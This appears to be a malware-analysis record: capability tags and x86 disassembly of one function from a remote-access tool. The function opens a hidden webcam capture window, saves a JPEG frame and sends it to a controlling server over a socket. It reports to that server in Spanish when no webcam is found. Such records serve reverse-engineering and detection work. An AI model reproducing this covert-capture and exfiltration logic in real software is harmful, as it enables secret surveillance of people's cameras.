Function at 0x4083f6
Capabilities:
Capture webcam image
Get file size
Hide graphical window
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x474
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4256c8
lea eax, [ebp - 0x450]
mov dword [esp], eax
call sub.msvcrt.dll_swprintf
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4256c8
lea eax, [ebp - 0x246]
mov dword [esp], eax
call sub.msvcrt.dll_swprintf
call sub.USER32.dll_GetDesktopWindow
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0x1e0
mov dword [esp + 0x10], 0x280
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x111
mov dword [esp], str.CCWE
call sub.AVICAP32.DLL_capCreateCaptureWindowA
sub esp, 0x20
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4084ca
mov dword [esp], str.___Este_usuario_no_posee_Webcam__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Este_usuario_no_posee_Webcam__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov ebx, 0xffffffff
jmp 0x4087d1
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x408518
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x408550
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x42
mov dword [esp + 4], 0x434
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x408588
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x432
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x4085c0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x42a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [ebp - 0xc], 0
jmp 0x408604
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x408601
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x43c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x18
setle al
test al, al
jne 0x4085c9
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x408646
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x419
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4086a5
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov ebx, 0xffffffff
jmp 0x4087d1
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x2c]
mov dword [esp + 4], 0
lea edx, [ebp - 0x450]
mov dword [esp], edx
mov ecx, eax
call fcn.0041d6b0
sub esp, 8
lea eax, [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], str.image_jpeg
call fcn.00401679
lea eax, [ebp - 0x2c]
mov dword [esp + 8], 0
lea edx, [ebp - 0x3c]
mov dword [esp + 4], edx
lea edx, [ebp - 0x246]
mov dword [esp], edx
mov ecx, eax
call fcn.0041d668
sub esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
test eax, eax
je 0x4087ad
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x432
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_DestroyWindow
sub esp, 4
mov dword [ebp - 0x10], 0
mov ebx, 0
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.0041d7b4
mov eax, ebx
jmp 0x4087ed
mov ebx, dword [ebp - 4]
leave
ret